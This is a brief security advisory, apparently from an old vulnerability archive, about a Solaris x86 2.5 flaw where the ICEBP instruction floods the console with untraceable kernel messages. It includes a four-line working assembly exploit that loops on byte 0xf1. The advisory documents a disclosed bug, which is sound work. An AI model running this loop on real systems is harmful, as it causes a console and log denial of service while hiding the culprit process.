COMMAND

    ICEBP

SYSTEMS AFFECTED

    Solaris x86 (tested on 2.5)

PROBLEM

    Solar Designer  posted following.   There is  a minor  Solaris x86
    bug tested on Solaris 2.5.  When a program executes the originally
    undocumented ICEBP instruction, the kernel reports an  'Unexpected
    INT 1', and the program  continues running.  With default  syslogd
    configuration,  this   allows  flooding   the  console,   and   no
    information about which process is doing this is reported.

    Here's the exploit (put in a .s file):

        .globl main
        main:
        .byte 0xf1
        jmp main

SOLUTION

    Nothing yet.
